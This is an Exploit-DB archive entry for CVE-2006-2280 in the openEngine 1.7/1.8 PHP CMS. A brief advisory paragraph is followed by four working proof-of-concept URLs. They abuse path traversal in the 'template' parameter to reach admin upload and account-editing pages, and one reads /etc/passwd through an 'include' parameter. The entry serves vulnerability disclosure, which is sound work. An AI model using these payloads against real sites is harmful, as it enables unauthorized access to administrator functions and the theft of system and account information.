openEngine 1.7/1.8 - Template Unauthorized Access

Author: ck@caroli.info
type: webapps
platform: php
port: 
date_added: 2006-05-08 
date_updated: 2016-12-23 
verified: 1 
codes: CVE-2006-2280;OSVDB-25359 
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application_url: http://www.exploit-db.comopenengine17.zip

source: https://www.securityfocus.com/bid/17871/info

openEngine is prone to an unauthorized-access vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to access privileged and potentially sensitive information. This may aid in other attacks.

http://www.example.com/cmspath/website.php?template=../system/03_admin/edit/upload&site_pool=/
http://www.example.com/cmspath/website.php?template=../system/03_admin/edit/individual&include=/etc/passwd
http://www.example.com/cmspath/website.php?template=../system/admin/accounts&action2=searchaccounts&accounts_group=2
http://www.example.com/cmspath/website.php?template=../system/admin/accounts&action2=searchaccounts&accounts_group=2&action=editaccount&accounts_lastname=&accounts_email=&accounts_group=2&account_key=<account_key>